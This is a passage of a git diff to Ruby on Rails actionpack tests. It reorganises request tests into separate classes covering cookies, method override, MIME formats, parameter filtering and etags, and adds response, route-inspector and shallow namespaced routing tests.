+ assert_equal "http://www.google.com/search?q=glu.ttono.us", request.referer
+ assert_equal "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)", request.user_agent
+ assert_equal "/homepage/", request.path_info
+ assert_equal "/home/kevinc/sites/typo/public/homepage/", request.path_translated
+ assert_equal "", request.query_string
+ assert_equal "207.7.108.53", request.remote_addr
+ assert_equal "google.com", request.remote_host
+ assert_equal "kevin", request.remote_ident
+ assert_equal "kevin", request.remote_user
+ assert_equal "GET", request.request_method
+ assert_equal "/dispatch.fcgi", request.script_name
+ assert_equal "glu.ttono.us", request.server_name
+ assert_equal 8007, request.server_port
+ assert_equal "HTTP/1.1", request.server_protocol
+ assert_equal "lighttpd", request.server_software
+ end
+end
+
+class RequestCookie < BaseRequestTest
+ test "cookie syntax resilience" do
+ request = stub_request("HTTP_COOKIE" => "_session_id=c84ace84796670c052c6ceb2451fb0f2; is_admin=yes")
+ assert_equal "c84ace84796670c052c6ceb2451fb0f2", request.cookies["_session_id"], request.cookies.inspect
+ assert_equal "yes", request.cookies["is_admin"], request.cookies.inspect
- request = stub_request 'SERVER_SOFTWARE' => 'Apache3.422'
- assert_equal 'apache', request.server_software
+ # some Nokia phone browsers omit the space after the semicolon separator.
+ # some developers have grown accustomed to using comma in cookie values.
+ request = stub_request("HTTP_COOKIE"=>"_session_id=c84ace847,96670c052c6ceb2451fb0f2;is_admin=yes")
+ assert_equal "c84ace847", request.cookies["_session_id"], request.cookies.inspect
+ assert_equal "yes", request.cookies["is_admin"], request.cookies.inspect
+ end
+end
+
+class RequestParamsParsing < BaseRequestTest
+ test "doesnt break when content type has charset" do
+ request = stub_request(
+ 'REQUEST_METHOD' => 'POST',
+ 'CONTENT_LENGTH' => "flamenco=love".length,
+ 'CONTENT_TYPE' => 'application/x-www-form-urlencoded; charset=utf-8',
+ 'rack.input' => StringIO.new("flamenco=love")
+ )
+
+ assert_equal({"flamenco"=> "love"}, request.request_parameters)
+ end
+
+ test "doesnt interpret request uri as query string when missing" do
+ request = stub_request('REQUEST_URI' => 'foo')
+ assert_equal({}, request.query_parameters)
+ end
+end
- request = stub_request 'SERVER_SOFTWARE' => 'lighttpd(1.1.4)'
- assert_equal 'lighttpd', request.server_software
+class RequestRewind < BaseRequestTest
+ test "body should be rewound" do
+ data = 'rewind'
+ env = {
+ 'rack.input' => StringIO.new(data),
+ 'CONTENT_LENGTH' => data.length,
+ 'CONTENT_TYPE' => 'application/x-www-form-urlencoded; charset=utf-8'
+ }
+
+ # Read the request body by parsing params.
+ request = stub_request(env)
+ request.request_parameters
+
+ # Should have rewound the body.
+ assert_equal 0, request.body.pos
+ end
+
+ test "raw_post rewinds rack.input if RAW_POST_DATA is nil" do
+ request = stub_request(
+ 'rack.input' => StringIO.new("raw"),
+ 'CONTENT_LENGTH' => 3
+ )
+ assert_equal "raw", request.raw_post
+ assert_equal "raw", request.env['rack.input'].read
+ end
+end
+
+class RequestProtocol < BaseRequestTest
+ test "server software" do
+ assert_equal 'lighttpd', stub_request('SERVER_SOFTWARE' => 'lighttpd/1.4.5').server_software
+ assert_equal 'apache', stub_request('SERVER_SOFTWARE' => 'Apache3.422').server_software
end
test "xml http request" do
@@ -383,19 +609,12 @@ class RequestTest < ActiveSupport::TestCase
end
test "reports ssl" do
- request = stub_request
- assert !request.ssl?
-
- request = stub_request 'HTTPS' => 'on'
- assert request.ssl?
+ assert !stub_request.ssl?
+ assert stub_request('HTTPS' => 'on').ssl?
end
test "reports ssl when proxied via lighttpd" do
- request = stub_request
- assert !request.ssl?
-
- request = stub_request 'HTTP_X_FORWARDED_PROTO' => 'https'
- assert request.ssl?
+ assert stub_request('HTTP_X_FORWARDED_PROTO' => 'https').ssl?
end
test "scheme returns https when proxied" do
@@ -403,63 +622,72 @@ class RequestTest < ActiveSupport::TestCase
assert !request.ssl?
assert_equal 'http', request.scheme
- request = stub_request 'rack.url_scheme' => 'http', 'HTTP_X_FORWARDED_PROTO' => 'https'
+ request = stub_request(
+ 'rack.url_scheme' => 'http',
+ 'HTTP_X_FORWARDED_PROTO' => 'https'
+ )
assert request.ssl?
assert_equal 'https', request.scheme
end
+end
- test "String request methods" do
- [:get, :post, :patch, :put, :delete].each do |method|
- request = stub_request 'REQUEST_METHOD' => method.to_s.upcase
- assert_equal method.to_s.upcase, request.method
- end
- end
+class RequestMethod < BaseRequestTest
+ test "request methods" do
+ [:post, :get, :patch, :put, :delete].each do |method|
+ request = stub_request('REQUEST_METHOD' => method.to_s.upcase)
- test "Symbol forms of request methods via method_symbol" do
- [:get, :post, :patch, :put, :delete].each do |method|
- request = stub_request 'REQUEST_METHOD' => method.to_s.upcase
+ assert_equal method.to_s.upcase, request.method
assert_equal method, request.method_symbol
end
end
test "invalid http method raises exception" do
assert_raise(ActionController::UnknownHttpMethod) do
- request = stub_request 'REQUEST_METHOD' => 'RANDOM_METHOD'
- request.request_method
+ stub_request('REQUEST_METHOD' => 'RANDOM_METHOD').request_method
end
end
test "allow method hacking on post" do
%w(GET OPTIONS PATCH PUT POST DELETE).each do |method|
- request = stub_request "REQUEST_METHOD" => method.to_s.upcase
+ request = stub_request 'REQUEST_METHOD' => method.to_s.upcase
+
assert_equal(method == "HEAD" ? "GET" : method, request.method)
end
end
test "invalid method hacking on post raises exception" do
assert_raise(ActionController::UnknownHttpMethod) do
- request = stub_request "REQUEST_METHOD" => "_RANDOM_METHOD"
- request.request_method
+ stub_request('REQUEST_METHOD' => '_RANDOM_METHOD').request_method
end
end
test "restrict method hacking" do
[:get, :patch, :put, :delete].each do |method|
- request = stub_request 'REQUEST_METHOD' => method.to_s.upcase,
- 'action_dispatch.request.request_parameters' => { :_method => 'put' }
+ request = stub_request(
+ 'action_dispatch.request.request_parameters' => { :_method => 'put' },
+ 'REQUEST_METHOD' => method.to_s.upcase
+ )
+
assert_equal method.to_s.upcase, request.method
end
end
test "post masquerading as patch" do
- request = stub_request 'REQUEST_METHOD' => 'PATCH', "rack.methodoverride.original_method" => "POST"
+ request = stub_request(
+ 'REQUEST_METHOD' => 'PATCH',
+ "rack.methodoverride.original_method" => "POST"
+ )
+
assert_equal "POST", request.method
assert_equal "PATCH", request.request_method
assert request.patch?
end
test "post masquerading as put" do
- request = stub_request 'REQUEST_METHOD' => 'PUT', "rack.methodoverride.original_method" => "POST"
+ request = stub_request(
+ 'REQUEST_METHOD' => 'PUT',
+ "rack.methodoverride.original_method" => "POST"
+ )
assert_equal "POST", request.method
assert_equal "PUT", request.request_method
assert request.put?
@@ -485,7 +713,9 @@ class RequestTest < ActiveSupport::TestCase
end
end
end
+end
+class RequestFormat < BaseRequestTest
test "xml format" do
request = stub_request
request.expects(:parameters).at_least_once.returns({ :format => 'xml' })
@@ -505,109 +735,55 @@ class RequestTest < ActiveSupport::TestCase
end
test "XMLHttpRequest" do
- request = stub_request 'HTTP_X_REQUESTED_WITH' => 'XMLHttpRequest',
- 'HTTP_ACCEPT' =>
- [Mime::JS, Mime::HTML, Mime::XML, 'text/xml', Mime::ALL].join(",")
+ request = stub_request(
+ 'HTTP_X_REQUESTED_WITH' => 'XMLHttpRequest',
+ 'HTTP_ACCEPT' => [Mime::JS, Mime::HTML, Mime::XML, "text/xml", Mime::ALL].join(",")
+ )
request.expects(:parameters).at_least_once.returns({})
assert request.xhr?
assert_equal Mime::JS, request.format
end
- test "content type" do
- request = stub_request 'CONTENT_TYPE' => 'text/html'
- assert_equal Mime::HTML, request.content_mime_type
- end
-
- test "can override format with parameter" do
+ test "can override format with parameter negative" do
request = stub_request
request.expects(:parameters).at_least_once.returns({ :format => :txt })
assert !request.format.xml?
+ end
+ test "can override format with parameter positive" do
request = stub_request
request.expects(:parameters).at_least_once.returns({ :format => :xml })
assert request.format.xml?
end
- test "no content type" do
- request = stub_request
- assert_equal nil, request.content_mime_type
- end
-
- test "content type is XML" do
- request = stub_request 'CONTENT_TYPE' => 'application/xml'
- assert_equal Mime::XML, request.content_mime_type
- end
-
- test "content type with charset" do
- request = stub_request 'CONTENT_TYPE' => 'application/xml; charset=UTF-8'
- assert_equal Mime::XML, request.content_mime_type
- end
-
- test "user agent" do
- request = stub_request 'HTTP_USER_AGENT' => 'TestAgent'
- assert_equal 'TestAgent', request.user_agent
- end
-
- test "parameters" do
- request = stub_request
- request.stubs(:request_parameters).returns({ "foo" => 1 })
- request.stubs(:query_parameters).returns({ "bar" => 2 })
-
- assert_equal({"foo" => 1, "bar" => 2}, request.parameters)
- assert_equal({"foo" => 1}, request.request_parameters)
- assert_equal({"bar" => 2}, request.query_parameters)
- end
-
- test "parameters still accessible after rack parse error" do
- mock_rack_env = { "QUERY_STRING" => "x[y]=1&x[y][][w]=2", "rack.input" => "foo" }
- request = nil
- request = stub_request(mock_rack_env)
-
- assert_raises(ActionController::BadRequest) do
- # rack will raise a TypeError when parsing this query string
- request.parameters
- end
-
- assert_equal({}, request.parameters)
- end
-
- test "we have access to the original exception" do
- mock_rack_env = { "QUERY_STRING" => "x[y]=1&x[y][][w]=2", "rack.input" => "foo" }
- request = nil
- request = stub_request(mock_rack_env)
-
- e = assert_raises(ActionController::BadRequest) do
- # rack will raise a TypeError when parsing this query string
- request.parameters
- end
-
- assert e.original_exception
- assert_equal e.original_exception.backtrace, e.backtrace
- end
-
- test "formats with accept header" do
+ test "formats text/html with accept header" do
request = stub_request 'HTTP_ACCEPT' => 'text/html'
- request.expects(:parameters).at_least_once.returns({})
assert_equal [Mime::HTML], request.formats
+ end
+ test "formats blank with accept header" do
request = stub_request 'HTTP_ACCEPT' => ''
- request.expects(:parameters).at_least_once.returns({})
assert_equal [Mime::HTML], request.formats
+ end
- request = stub_request 'HTTP_ACCEPT' => '',
- 'HTTP_X_REQUESTED_WITH' => "XMLHttpRequest"
- request.expects(:parameters).at_least_once.returns({})
+ test "formats XMLHttpRequest with accept header" do
+ request = stub_request 'HTTP_X_REQUESTED_WITH' => "XMLHttpRequest"
assert_equal [Mime::JS], request.formats
-
- request = stub_request 'CONTENT_TYPE' => 'application/xml; charset=UTF-8',
- 'HTTP_X_REQUESTED_WITH' => "XMLHttpRequest"
- request.expects(:parameters).at_least_once.returns({})
+ end
+
+ test "formats application/xml with accept header" do
+ request = stub_request('CONTENT_TYPE' => 'application/xml; charset=UTF-8',
+ 'HTTP_X_REQUESTED_WITH' => "XMLHttpRequest")
assert_equal [Mime::XML], request.formats
+ end
+ test "formats format:text with accept header" do
request = stub_request
request.expects(:parameters).at_least_once.returns({ :format => :txt })
assert_equal [Mime::TEXT], request.formats
+ end
+ test "formats format:unknown with accept header" do
request = stub_request
request.expects(:parameters).at_least_once.returns({ :format => :unknown })
assert_instance_of Mime::NullType, request.format
@@ -616,10 +792,10 @@ class RequestTest < ActiveSupport::TestCase
test "format is not nil with unknown format" do
request = stub_request
request.expects(:parameters).at_least_once.returns({ format: :hello })
- assert_equal request.format.nil?, true
- assert_equal request.format.html?, false
- assert_equal request.format.xml?, false
- assert_equal request.format.json?, false
+ assert request.format.nil?
+ assert_not request.format.html?
+ assert_not request.format.xml?
+ assert_not request.format.json?
end
test "formats with xhr request" do
@@ -661,30 +837,87 @@ class RequestTest < ActiveSupport::TestCase
ActionDispatch::Request.ignore_accept_header = false
end
end
+end
- test "negotiate_mime" do
- request = stub_request 'HTTP_ACCEPT' => 'text/html',
- 'HTTP_X_REQUESTED_WITH' => "XMLHttpRequest"
+class RequestMimeType < BaseRequestTest
+ test "content type" do
+ assert_equal Mime::HTML, stub_request('CONTENT_TYPE' => 'text/html').content_mime_type
+ end
- request.expects(:parameters).at_least_once.returns({})
+ test "no content type" do
+ assert_equal nil, stub_request.content_mime_type
+ end
+
+ test "content type is XML" do
+ assert_equal Mime::XML, stub_request('CONTENT_TYPE' => 'application/xml').content_mime_type
+ end
+
+ test "content type with charset" do
+ assert_equal Mime::XML, stub_request('CONTENT_TYPE' => 'application/xml; charset=UTF-8').content_mime_type
+ end
+
+ test "user agent" do
+ assert_equal 'TestAgent', stub_request('HTTP_USER_AGENT' => 'TestAgent').user_agent
+ end
+
+ test "negotiate_mime" do
+ request = stub_request(
+ 'HTTP_ACCEPT' => 'text/html',
+ 'HTTP_X_REQUESTED_WITH' => "XMLHttpRequest"
+ )
assert_equal nil, request.negotiate_mime([Mime::XML, Mime::JSON])
assert_equal Mime::HTML, request.negotiate_mime([Mime::XML, Mime::HTML])
assert_equal Mime::HTML, request.negotiate_mime([Mime::XML, Mime::ALL])
+ end
+
+ test "negotiate_mime with content_type" do
+ request = stub_request(
+ 'CONTENT_TYPE' => 'application/xml; charset=UTF-8',
+ 'HTTP_X_REQUESTED_WITH' => "XMLHttpRequest"
+ )
- request = stub_request 'CONTENT_TYPE' => 'application/xml; charset=UTF-8',
- 'HTTP_X_REQUESTED_WITH' => "XMLHttpRequest"
- request.expects(:parameters).at_least_once.returns({})
assert_equal Mime::XML, request.negotiate_mime([Mime::XML, Mime::CSV])
end
+end
- test "raw_post rewinds rack.input if RAW_POST_DATA is nil" do
- request = stub_request('rack.input' => StringIO.new("foo"),
- 'CONTENT_LENGTH' => 3)
- assert_equal "foo", request.raw_post
- assert_equal "foo", request.env['rack.input'].read
+class RequestParameters < BaseRequestTest
+ test "parameters" do
+ request = stub_request
+ request.expects(:request_parameters).at_least_once.returns({ "foo" => 1 })
+ request.expects(:query_parameters).at_least_once.returns({ "bar" => 2 })
+
+ assert_equal({"foo" => 1, "bar" => 2}, request.parameters)
+ assert_equal({"foo" => 1}, request.request_parameters)
+ assert_equal({"bar" => 2}, request.query_parameters)
+ end
+
+ test "parameters still accessible after rack parse error" do
+ request = stub_request("QUERY_STRING" => "x[y]=1&x[y][][w]=2")
+
+ assert_raises(ActionController::BadRequest) do
+ # rack will raise a TypeError when parsing this query string
+ request.parameters
+ end
+
+ assert_equal({}, request.parameters)
end
+ test "we have access to the original exception" do
+ request = stub_request("QUERY_STRING" => "x[y]=1&x[y][][w]=2")
+
+ e = assert_raises(ActionController::BadRequest) do
+ # rack will raise a TypeError when parsing this query string
+ request.parameters
+ end
+
+ assert e.original_exception
+ assert_equal e.original_exception.backtrace, e.backtrace
+ end
+end
+
+
+class RequestParameterFilter < BaseRequestTest
test "process parameter filter" do
test_hashes = [
[{'foo'=>'bar'},{'foo'=>'bar'},%w'food'],
@@ -713,9 +946,14 @@ class RequestTest < ActiveSupport::TestCase
end
test "filtered_parameters returns params filtered" do
- request = stub_request('action_dispatch.request.parameters' =>
- { 'lifo' => 'Pratik', 'amount' => '420', 'step' => '1' },
- 'action_dispatch.parameter_filter' => [:lifo, :amount])
+ request = stub_request(
+ 'action_dispatch.request.parameters' => {
+ 'lifo' => 'Pratik',
+ 'amount' => '420',
+ 'step' => '1'
+ },
+ 'action_dispatch.parameter_filter' => [:lifo, :amount]
+ )
params = request.filtered_parameters
assert_equal "[FILTERED]", params["lifo"]
@@ -724,10 +962,14 @@ class RequestTest < ActiveSupport::TestCase
end
test "filtered_env filters env as a whole" do
- request = stub_request('action_dispatch.request.parameters' =>
- { 'amount' => '420', 'step' => '1' }, "RAW_POST_DATA" => "yada yada",
- 'action_dispatch.parameter_filter' => [:lifo, :amount])
-
+ request = stub_request(
+ 'action_dispatch.request.parameters' => {
+ 'amount' => '420',
+ 'step' => '1'
+ },
+ "RAW_POST_DATA" => "yada yada",
+ 'action_dispatch.parameter_filter' => [:lifo, :amount]
+ )
request = stub_request(request.filtered_env)
assert_equal "[FILTERED]", request.raw_post
@@ -737,9 +979,11 @@ class RequestTest < ActiveSupport::TestCase
test "filtered_path returns path with filtered query string" do
%w(; &).each do |sep|
- request = stub_request('QUERY_STRING' => %w(username=sikachu secret=bd4f21f api_key=b1bc3b3cd352f68d79d7).join(sep),
+ request = stub_request(
+ 'QUERY_STRING' => %w(username=sikachu secret=bd4f21f api_key=b1bc3b3cd352f68d79d7).join(sep),
'PATH_INFO' => '/authenticate',
- 'action_dispatch.parameter_filter' => [:secret, :api_key])
+ 'action_dispatch.parameter_filter' => [:secret, :api_key]
+ )
path = request.filtered_path
assert_equal %w(/authenticate?username=sikachu secret=[FILTERED] api_key=[FILTERED]).join(sep), path
@@ -747,56 +991,40 @@ class RequestTest < ActiveSupport::TestCase
end
test "filtered_path should not unescape a genuine '[FILTERED]' value" do
- request = stub_request('QUERY_STRING' => "secret=bd4f21f&genuine=%5BFILTERED%5D",
+ request = stub_request(
+ 'QUERY_STRING' => "secret=bd4f21f&genuine=%5BFILTERED%5D",
'PATH_INFO' => '/authenticate',
- 'action_dispatch.parameter_filter' => [:secret])
+ 'action_dispatch.parameter_filter' => [:secret]
+ )
path = request.filtered_path
- assert_equal "/authenticate?secret=[FILTERED]&genuine=%5BFILTERED%5D", path
+ assert_equal request.script_name + "/authenticate?secret=[FILTERED]&genuine=%5BFILTERED%5D", path
end
test "filtered_path should preserve duplication of keys in query string" do
- request = stub_request('QUERY_STRING' => "username=sikachu&secret=bd4f21f&username=fxn",
+ request = stub_request(
+ 'QUERY_STRING' => "username=sikachu&secret=bd4f21f&username=fxn",
'PATH_INFO' => '/authenticate',
- 'action_dispatch.parameter_filter' => [:secret])
+ 'action_dispatch.parameter_filter' => [:secret]
+ )
path = request.filtered_path
- assert_equal "/authenticate?username=sikachu&secret=[FILTERED]&username=fxn", path
+ assert_equal request.script_name + "/authenticate?username=sikachu&secret=[FILTERED]&username=fxn", path
end
test "filtered_path should ignore searchparts" do
- request = stub_request('QUERY_STRING' => "secret",
+ request = stub_request(
+ 'QUERY_STRING' => "secret",
'PATH_INFO' => '/authenticate',
- 'action_dispatch.parameter_filter' => [:secret])
+ 'action_dispatch.parameter_filter' => [:secret]
+ )
path = request.filtered_path
- assert_equal "/authenticate?secret", path
- end
-
- test "original_fullpath returns ORIGINAL_FULLPATH" do
- request = stub_request('ORIGINAL_FULLPATH' => "/foo?bar")
-
- path = request.original_fullpath
- assert_equal "/foo?bar", path
- end
-
- test "original_url returns url built using ORIGINAL_FULLPATH" do
- request = stub_request('ORIGINAL_FULLPATH' => "/foo?bar",
- 'HTTP_HOST' => "example.org",
- 'rack.url_scheme' => "http")
-
- url = request.original_url
- assert_equal "http://example.org/foo?bar", url
- end
-
- test "original_fullpath returns fullpath if ORIGINAL_FULLPATH is not present" do
- request = stub_request('PATH_INFO' => "/foo",
- 'QUERY_STRING' => "bar")
-
- path = request.original_fullpath
- assert_equal "/foo?bar", path
+ assert_equal request.script_name + "/authenticate?secret", path
end
+end
+class RequestEtag < BaseRequestTest
test "if_none_match_etags none" do
request = stub_request
@@ -835,16 +1063,31 @@ class RequestTest < ActiveSupport::TestCase
assert request.etag_matches?(etag), etag
end
end
+end
+
+class RequestVarient < BaseRequestTest
+ test "setting variant" do
+ request = stub_request
+
+ request.variant = :mobile
+ assert_equal [:mobile], request.variant
-protected
+ request.variant = [:phone, :tablet]
+ assert_equal [:phone, :tablet], request.variant
- def stub_request(env = {})
- ip_spoofing_check = env.key?(:ip_spoofing_check) ? env.delete(:ip_spoofing_check) : true
- @trusted_proxies ||= nil
- ip_app = ActionDispatch::RemoteIp.new(Proc.new { }, ip_spoofing_check, @trusted_proxies)
- tld_length = env.key?(:tld_length) ? env.delete(:tld_length) : 1
- ip_app.call(env)
- ActionDispatch::Http::URL.tld_length = tld_length
- ActionDispatch::Request.new(env)
+ assert_raise ArgumentError do
+ request.variant = [:phone, "tablet"]
+ end
+
+ assert_raise ArgumentError do
+ request.variant = "yolo"
+ end
+ end
+
+ test "setting variant with non symbol value" do
+ request = stub_request
+ assert_raise ArgumentError do
+ request.variant = "mobile"
+ end
end
end
diff --git a/actionpack/test/dispatch/response_test.rb b/actionpack/test/dispatch/response_test.rb
index 2fbe7358f9..959a3bc5cd 100644
--- a/actionpack/test/dispatch/response_test.rb
+++ b/actionpack/test/dispatch/response_test.rb
@@ -212,6 +212,29 @@ class ResponseTest < ActiveSupport::TestCase
ActionDispatch::Response.default_headers = nil
end
end
+
+ test "respond_to? accepts include_private" do
+ assert_not @response.respond_to?(:method_missing)
+ assert @response.respond_to?(:method_missing, true)
+ end
+
+ test "can be destructured into status, headers and an enumerable body" do
+ response = ActionDispatch::Response.new(404, { 'Content-Type' => 'text/plain' }, ['Not Found'])
+ status, headers, body = response
+
+ assert_equal 404, status
+ assert_equal({ 'Content-Type' => 'text/plain' }, headers)
+ assert_equal ['Not Found'], body.each.to_a
+ end
+
+ test "[response].flatten does not recurse infinitely" do
+ Timeout.timeout(1) do # use a timeout to prevent it stalling indefinitely
+ status, headers, body = [@response].flatten
+ assert_equal @response.status, status
+ assert_equal @response.headers, headers
+ assert_equal @response.body, body.each.to_a.join
+ end
+ end
end
class ResponseIntegrationTest < ActionDispatch::IntegrationTest
diff --git a/actionpack/test/dispatch/routing/inspector_test.rb b/actionpack/test/dispatch/routing/inspector_test.rb
index 4f97d28d2b..ff33dd5652 100644
--- a/actionpack/test/dispatch/routing/inspector_test.rb
+++ b/actionpack/test/dispatch/routing/inspector_test.rb
@@ -46,11 +46,32 @@ module ActionDispatch
assert_equal [
" Prefix Verb URI Pattern Controller#Action",
- "custom_assets GET /custom/assets(.:format) custom_assets#show",
- " blog /blog Blog::Engine",
+ "custom_assets GET /custom/assets(.:format) custom_assets#show",
+ " blog /blog Blog::Engine",
"",
"Routes for Blog::Engine:",
- "cart GET /cart(.:format) cart#show"
+ " cart GET /cart(.:format) cart#show"
+ ], output
+ end
+
+ def test_displaying_routes_for_engines_without_routes
+ engine = Class.new(Rails::Engine) do
+ def self.inspect
+ "Blog::Engine"
+ end
+ end
+ engine.routes.draw do
+ end
+
+ output = draw do
+ mount engine => "/blog", as: "blog"
+ end
+
+ assert_equal [
+ "Prefix Verb URI Pattern Controller#Action",
+ " blog /blog Blog::Engine",
+ "",
+ "Routes for Blog::Engine:"
], output
end
@@ -61,7 +82,7 @@ module ActionDispatch
assert_equal [
"Prefix Verb URI Pattern Controller#Action",
- "cart GET /cart(.:format) cart#show"
+ " cart GET /cart(.:format) cart#show"
], output
end
@@ -72,7 +93,7 @@ module ActionDispatch
assert_equal [
" Prefix Verb URI Pattern Controller#Action",
- "custom_assets GET /custom/assets(.:format) custom_assets#show"
+ "custom_assets GET /custom/assets(.:format) custom_assets#show"
], output
end
@@ -101,7 +122,7 @@ module ActionDispatch
assert_equal [
"Prefix Verb URI Pattern Controller#Action",
- "root GET / pages#main"
+ " root GET / pages#main"
], output
end
@@ -112,7 +133,7 @@ module ActionDispatch
assert_equal [
"Prefix Verb URI Pattern Controller#Action",
- " GET /api/:action(.:format) api#:action"
+ " GET /api/:action(.:format) api#:action"
], output
end
@@ -123,7 +144,7 @@ module ActionDispatch
assert_equal [
"Prefix Verb URI Pattern Controller#Action",
- " GET /:controller/:action(.:format) :controller#:action"
+ " GET /:controller/:action(.:format) :controller#:action"
], output
end
@@ -134,7 +155,7 @@ module ActionDispatch
assert_equal [
"Prefix Verb URI Pattern Controller#Action",
- " GET /:controller(/:action(/:id))(.:format) :controller#:action {:id=>/\\d+/}"
+ " GET /:controller(/:action(/:id))(.:format) :controller#:action {:id=>/\\d+/}"
], output
end
@@ -145,7 +166,7 @@ module ActionDispatch
assert_equal [
"Prefix Verb URI Pattern Controller#Action",
- %Q[ GET /photos/:id(.:format) photos#show {:format=>"jpg"}]
+ %Q[ GET /photos/:id(.:format) photos#show {:format=>"jpg"}]
], output
end
@@ -156,7 +177,30 @@ module ActionDispatch
assert_equal [
"Prefix Verb URI Pattern Controller#Action",
- " GET /photos/:id(.:format) photos#show {:id=>/[A-Z]\\d{5}/}"
+ " GET /photos/:id(.:format) photos#show {:id=>/[A-Z]\\d{5}/}"
+ ], output
+ end
+
+ def test_rake_routes_shows_routes_with_dashes
+ output = draw do
+ get 'about-us' => 'pages#about_us'
+ get 'our-work/latest'
+
+ resources :photos, only: [:show] do
+ get 'user-favorites', on: :collection
+ get 'preview-photo', on: :member
+ get 'summary-text'
+ end
+ end
+
+ assert_equal [
+ " Prefix Verb URI Pattern Controller#Action",
+ " about_us GET /about-us(.:format) pages#about_us",
+ " our_work_latest GET /our-work/latest(.:format) our_work#latest",
+ "user_favorites_photos GET /photos/user-favorites(.:format) photos#user_favorites",
+ " preview_photo_photo GET /photos/:id/preview-photo(.:format) photos#preview_photo",
+ " photo_summary_text GET /photos/:photo_id/summary-text(.:format) photos#summary_text",
+ " photo GET /photos/:id(.:format) photos#show"
], output
end
@@ -172,7 +216,7 @@ module ActionDispatch
assert_equal [
"Prefix Verb URI Pattern Controller#Action",
- " GET /foo/:id(.:format) #{RackApp.name} {:id=>/[A-Z]\\d{5}/}"
+ " GET /foo/:id(.:format) #{RackApp.name} {:id=>/[A-Z]\\d{5}/}"
], output
end
@@ -191,7 +235,7 @@ module ActionDispatch
assert_equal [
"Prefix Verb URI Pattern Controller#Action",
- " /foo #{RackApp.name} {:constraint=>( my custom constraint )}"
+ " /foo #{RackApp.name} {:constraint=>( my custom constraint )}"
], output
end
@@ -203,6 +247,18 @@ module ActionDispatch
assert_no_match(/\/sprockets/, output.first)
end
+ def test_rake_routes_shows_route_defined_in_under_assets_prefix
+ output = draw do
+ scope '/sprockets' do
+ get '/foo' => 'foo#bar'
+ end
+ end
+ assert_equal [
+ "Prefix Verb URI Pattern Controller#Action",
+ " foo GET /sprockets/foo(.:format) foo#bar"
+ ], output
+ end
+
def test_redirect
output = draw do
get "/foo" => redirect("/foo/bar"), :constraints => { :subdomain => "admin" }
@@ -212,9 +268,9 @@ module ActionDispatch
assert_equal [
"Prefix Verb URI Pattern Controller#Action",
- " foo GET /foo(.:format) redirect(301, /foo/bar) {:subdomain=>\"admin\"}",
- " bar GET /bar(.:format) redirect(307, path: /foo/bar)",
- "foobar GET /foobar(.:format) redirect(301)"
+ " foo GET /foo(.:format) redirect(301, /foo/bar) {:subdomain=>\"admin\"}",
+ " bar GET /bar(.:format) redirect(307, path: /foo/bar)",
+ "foobar GET /foobar(.:format) redirect(301)"
], output
end
@@ -241,7 +297,7 @@ module ActionDispatch
end
assert_equal ["Prefix Verb URI Pattern Controller#Action",
- " GET /:controller(/:action) (?-mix:api\\/[^\\/]+)#:action"], output
+ " GET /:controller(/:action) (?-mix:api\\/[^\\/]+)#:action"], output
end
end
end
diff --git a/actionpack/test/dispatch/routing_test.rb b/actionpack/test/dispatch/routing_test.rb
index e1ce3648e8..52fc7b3243 100644
--- a/actionpack/test/dispatch/routing_test.rb
+++ b/actionpack/test/dispatch/routing_test.rb
@@ -1031,6 +1031,136 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
assert_equal 'users/home#index', @response.body
end
+ def test_namespaced_shallow_routes_with_module_option
+ draw do
+ namespace :foo, module: 'bar' do
+ resources :posts, only: [:index, :show] do
+ resources :comments, only: [:index, :show], shallow: true
+ end
+ end
+ end
+
+ get '/foo/posts'
+ assert_equal '/foo/posts', foo_posts_path
+ assert_equal 'bar/posts#index', @response.body
+
+ get '/foo/posts/1'
+ assert_equal '/foo/posts/1', foo_post_path('1')
+ assert_equal 'bar/posts#show', @response.body
+
+ get '/foo/posts/1/comments'
+ assert_equal '/foo/posts/1/comments', foo_post_comments_path('1')
+ assert_equal 'bar/comments#index', @response.body
+
+ get '/foo/comments/2'
+ assert_equal '/foo/comments/2', foo_comment_path('2')
+ assert_equal 'bar/comments#show', @response.body
+ end
+
+ def test_namespaced_shallow_routes_with_path_option
+ draw do
+ namespace :foo, path: 'bar' do
+ resources :posts, only: [:index, :show] do
+ resources :comments, only: [:index, :show], shallow: true
+ end
+ end
+ end
+
+ get '/bar/posts'
+ assert_equal '/bar/posts', foo_posts_path
+ assert_equal 'foo/posts#index', @response.body
+
+ get '/bar/posts/1'
+ assert_equal '/bar/posts/1', foo_post_path('1')
+ assert_equal 'foo/posts#show', @response.body
+
+ get '/bar/posts/1/comments'
+ assert_equal '/bar/posts/1/comments', foo_post_comments_path('1')
+ assert_equal 'foo/comments#index', @response.body
+
+ get '/bar/comments/2'
+ assert_equal '/bar/comments/2', foo_comment_path('2')
+ assert_equal 'foo/comments#show', @response.body
+ end
+
+ def test_namespaced_shallow_routes_with_as_option
+ draw do
+ namespace :foo, as: 'bar' do
+ resources :posts, only: [:index, :show] do
+ resources :comments, only: [:index, :show], shallow: true
+ end
+ end
+ end
+
+ get '/foo/posts'
+ assert_equal '/foo/posts', bar_posts_path
+ assert_equal 'foo/posts#index', @response.body
+
+ get '/foo/posts/1'
+ assert_equal '/foo/posts/1', bar_post_path('1')
+ assert_equal 'foo/posts#show', @response.body
+
+ get '/foo/posts/1/comments'
+ assert_equal '/foo/posts/1/comments', bar_post_comments_path('1')
+ assert_equal 'foo/comments#index', @response.body
+
+ get '/foo/comments/2'
+ assert_equal '/foo/comments/2', bar_comment_path('2')
+ assert_equal 'foo/comments#show', @response.body
+ end
+
+ def test_namespaced_shallow_routes_with_shallow_path_option
+ draw do
+ namespace :foo, shallow_path: 'bar' do
+ resources :posts, only: [:index, :show] do
+ resources :comments, only: [:index, :show], shallow: true
+ end
+ end
+ end
+
+ get '/foo/posts'
+ assert_equal '/foo/posts', foo_posts_path
+ assert_equal 'foo/posts#index', @response.body
+
+ get '/foo/posts/1'
+ assert_equal '/foo/posts/1', foo_post_path('1')
+ assert_equal 'foo/posts#show', @response.body
+
+ get '/foo/posts/1/comments'
+ assert_equal '/foo/posts/1/comments', foo_post_comments_path('1')
+ assert_equal 'foo/comments#index', @response.body
+
+ get '/bar/comments/2'
+ assert_equal '/bar/comments/2', foo_comment_path('2')
+ assert_equal 'foo/comments#show', @response.body
+ end
+
+ def test_namespaced_shallow_routes_with_shallow_prefix_option
+ draw do
+ namespace :foo, shallow_prefix: 'bar' do
+ resources :posts, only: [:index, :show] do
+ resources :comments, only: [:index, :show], shallow: true
+ end
+ end
+ end
+
+ get '/foo/posts'
